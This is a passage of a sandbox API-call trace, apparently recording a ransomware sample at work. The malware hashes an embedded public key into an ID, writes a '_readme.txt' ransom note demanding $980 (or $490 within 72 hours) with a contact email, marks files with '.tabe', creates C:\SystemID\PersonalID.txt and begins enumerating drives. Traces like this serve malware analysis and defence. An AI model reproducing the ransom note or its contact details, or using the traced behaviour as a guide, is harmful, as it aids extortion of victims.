Size=0x5f0) returned 0x34868c0 [0122.573] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34862c8 | out: hHeap=0x810000) returned 1 [0122.573] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34577d8 | out: hHeap=0x810000) returned 1 [0122.573] CryptAcquireContextW (in: phProv=0x18e694, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e694*=0x865f38) returned 1 [0122.574] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e698 | out: phHash=0x18e698) returned 1 [0122.574] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0122.574] CryptHashData (hHash=0x3463788, pbData=0x34868c0, dwDataLen=0x1ee, dwFlags=0x0) returned 1 [0122.574] CryptGetHashParam (in: hHash=0x3463788, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e69c, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e69c) returned 1 [0122.574] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x11) returned 0x8597e0 [0122.574] CryptGetHashParam (in: hHash=0x3463788, dwParam=0x2, pbData=0x8597e0, pdwDataLen=0x18e69c, dwFlags=0x0 | out: pbData=0x8597e0, pdwDataLen=0x18e69c) returned 1 [0122.574] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x34) returned 0x3463808 [0122.574] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="", lpString2="1F" | out: lpString1="1F") returned="1F" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F", lpString2="2D" | out: lpString1="1F2D") returned="1F2D" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2D", lpString2="E0" | out: lpString1="1F2DE0") returned="1F2DE0" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0", lpString2="E4" | out: lpString1="1F2DE0E4") returned="1F2DE0E4" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4", lpString2="F1" | out: lpString1="1F2DE0E4F1") returned="1F2DE0E4F1" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4F1", lpString2="0D" | out: lpString1="1F2DE0E4F10D") returned="1F2DE0E4F10D" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4F10D", lpString2="F5" | out: lpString1="1F2DE0E4F10DF5") returned="1F2DE0E4F10DF5" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4F10DF5", lpString2="1A" | out: lpString1="1F2DE0E4F10DF51A") returned="1F2DE0E4F10DF51A" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4F10DF51A", lpString2="F2" | out: lpString1="1F2DE0E4F10DF51AF2") returned="1F2DE0E4F10DF51AF2" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4F10DF51AF2", lpString2="60" | out: lpString1="1F2DE0E4F10DF51AF260") returned="1F2DE0E4F10DF51AF260" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4F10DF51AF260", lpString2="57" | out: lpString1="1F2DE0E4F10DF51AF26057") returned="1F2DE0E4F10DF51AF26057" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4F10DF51AF26057", lpString2="6E" | out: lpString1="1F2DE0E4F10DF51AF260576E") returned="1F2DE0E4F10DF51AF260576E" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4F10DF51AF260576E", lpString2="B6" | out: lpString1="1F2DE0E4F10DF51AF260576EB6") returned="1F2DE0E4F10DF51AF260576EB6" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4F10DF51AF260576EB6", lpString2="AD" | out: lpString1="1F2DE0E4F10DF51AF260576EB6AD") returned="1F2DE0E4F10DF51AF260576EB6AD" [0122.575] GetLastError () returned 0x0 [0122.575] lstrcatA (in: lpString1="1F2DE0E4F10DF51AF260576EB6AD", lpString2="D5" | out: lpString1="1F2DE0E4F10DF51AF260576EB6ADD5") returned="1F2DE0E4F10DF51AF260576EB6ADD5" [0122.575] GetLastError () returned 0x0 [0122.576] lstrcatA (in: lpString1="1F2DE0E4F10DF51AF260576EB6ADD5", lpString2="E2" | out: lpString1="1F2DE0E4F10DF51AF260576EB6ADD5E2") returned="1F2DE0E4F10DF51AF260576EB6ADD5E2" [0122.576] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8597e0 | out: hHeap=0x810000) returned 1 [0122.576] CryptDestroyHash (hHash=0x3463788) returned 1 [0122.576] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0122.576] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34868c0 | out: hHeap=0x810000) returned 1 [0122.576] lstrlenA (lpString="1F2DE0E4F10DF51AF260576EB6ADD5E2") returned 32 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x3e0) returned 0x34577d8 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x5ee) returned 0x34862c8 [0122.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", cchWideChar=-1, lpMultiByteStr=0x34862c8, cbMultiByte=1518, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n", lpUsedDefaultChar=0x0) returned 495 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x5f0) returned 0x34868c0 [0122.576] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34862c8 | out: hHeap=0x810000) returned 1 [0122.576] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34577d8 | out: hHeap=0x810000) returned 1 [0122.576] lstrcpyA (in: lpString1=0x34546d8, lpString2="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n" | out: lpString1="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n" [0122.576] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34868c0 | out: hHeap=0x810000) returned 1 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed118 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x28) returned 0x34700e0 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343eba0 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343ee08 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343f070 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343f2d8 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343f540 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343f7a8 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343fa10 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343fc78 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x343fee0 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3440148 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x816) returned 0x34577d8 [0122.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e6a0, cbMultiByte=-1, lpWideCharStr=0x34577d8, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x34862c8 [0122.576] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34577d8 | out: hHeap=0x810000) returned 1 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x28) returned 0x3470140 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x34403b0 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x3440618 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345a988 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345abf0 [0122.576] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345ae58 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345b0c0 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345b328 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345b590 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345b7f8 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345ba60 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xa0) returned 0x3483688 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x130) returned 0x899700 [0122.577] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3483688 | out: hHeap=0x810000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1d0) returned 0x34577d8 [0122.577] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x899700 | out: hHeap=0x810000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2b7) returned 0x34579b0 [0122.577] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34577d8 | out: hHeap=0x810000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x412) returned 0x3457c70 [0122.577] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34579b0 | out: hHeap=0x810000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x3f0) returned 0x34577d8 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xfdc) returned 0x3486af0 [0122.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34577d8, cbMultiByte=-1, lpWideCharStr=0x3486af0, cchWideChar=2030 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned 1007 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xfe0) returned 0x344e1b0 [0122.577] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3486af0 | out: hHeap=0x810000) returned 1 [0122.577] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34577d8 | out: hHeap=0x810000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x28) returned 0x3470170 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345bcc8 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345bf30 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345c198 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345c400 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345c668 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345c8d0 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345cb38 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345cda0 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345d008 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345d270 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x80a) returned 0x3486af0 [0122.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e6a0, cbMultiByte=-1, lpWideCharStr=0x3486af0, cchWideChar=1029 | out: lpWideCharStr=".tabe") returned 6 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3487308 [0122.577] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3486af0 | out: hHeap=0x810000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3437ea0 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x18) returned 0x859280 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487d80 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470b68 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x859280 | out: hHeap=0x810000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed180 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x48) returned 0x34625f8 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470b68 | out: hHeap=0x810000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439180 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed1e8 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34625f8 | out: hHeap=0x810000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487dd8 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x90) returned 0x841930 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed1e8 | out: hHeap=0x810000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e30 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439210 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xd8) returned 0x8fc2d8 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x841930 | out: hHeap=0x810000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3437ec8 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487e88 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x60) returned 0x8ed1e8 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x138) returned 0x899700 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8fc2d8 | out: hHeap=0x810000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439258 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487ee0 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x50) returned 0x3487f38 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34392a0 [0122.578] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1c8) returned 0x3444808 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x899700 | out: hHeap=0x810000) returned 1 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3437ea0 | out: hHeap=0x810000) returned 1 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487d80 | out: hHeap=0x810000) returned 1 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed180 | out: hHeap=0x810000) returned 1 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439180 | out: hHeap=0x810000) returned 1 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487dd8 | out: hHeap=0x810000) returned 1 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e30 | out: hHeap=0x810000) returned 1 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439210 | out: hHeap=0x810000) returned 1 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3437ec8 | out: hHeap=0x810000) returned 1 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487e88 | out: hHeap=0x810000) returned 1 [0122.578] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed1e8 | out: hHeap=0x810000) returned 1 [0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439258 | out: hHeap=0x810000) returned 1 [0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487ee0 | out: hHeap=0x810000) returned 1 [0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487f38 | out: hHeap=0x810000) returned 1 [0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34392a0 | out: hHeap=0x810000) returned 1 [0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3444808 | out: hHeap=0x810000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x28) returned 0x34701a0 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345d4d8 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345d740 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345d9a8 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345dc10 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345de78 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345e0e0 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345e348 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x345e5b0 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x346b7b0 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x25c) returned 0x346ba18 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xa0) returned 0x3483688 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x130) returned 0x899700 [0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3483688 | out: hHeap=0x810000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x1d0) returned 0x3487b20 [0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x899700 | out: hHeap=0x810000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x2b7) returned 0x34577d8 [0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3487b20 | out: hHeap=0x810000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x412) returned 0x3486af0 [0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34577d8 | out: hHeap=0x810000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x61a) returned 0x344f198 [0122.579] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3486af0 | out: hHeap=0x810000) returned 1 [0122.579] GetUserNameW (in: lpBuffer=0x18e8a0, pcbBuffer=0x18e714 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e714) returned 1 [0122.580] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x590) returned 0x3486af0 [0122.580] GetLastError () returned 0x0 [0122.582] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e408, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.583] GetLastError () returned 0x3 [0122.583] GetLastError () returned 0x3 [0122.583] CreateDirectoryW (lpPathName="C:\\SystemID" (normalized: "c:\\systemid"), lpSecurityAttributes=0x0) returned 1 [0122.584] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e408, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8 [0122.589] GetFileType (hFile=0x5b8) returned 0x1 [0122.589] GetLastError () returned 0x0 [0122.595] CreateFileW (lpFileName="I:\\5d2860c89d774.jpg" (normalized: "i:\\5d2860c89d774.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.595] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0122.596] RegisterClassExW (param_1=0x18e680) returned 0xc11d [0122.596] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1014e [0122.604] NtdllDefWindowProc_W () returned 0x0 [0122.604] NtdllDefWindowProc_W () returned 0x1 [0122.606] NtdllDefWindowProc_W () returned 0x0 [0122.707] NtdllDefWindowProc_W () returned 0x0 [0122.707] ShowWindow (hWnd=0x1014e, nCmdShow=0) returned 0 [0122.708] UpdateWindow (hWnd=0x1014e) returned 1 [0122.708] GetLogicalDrives () returned 0x4 [0122.708] SetErrorMode (uMode=0x1) returned 0x0 [0122.708] PathFileExistsA (pszPath="C:\\") returned 1 [0122.708] SetErrorMode (uMode=0x0) returned 0x1 [0122.708] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0122.708] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x806) returned 0x348de58 [0122.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 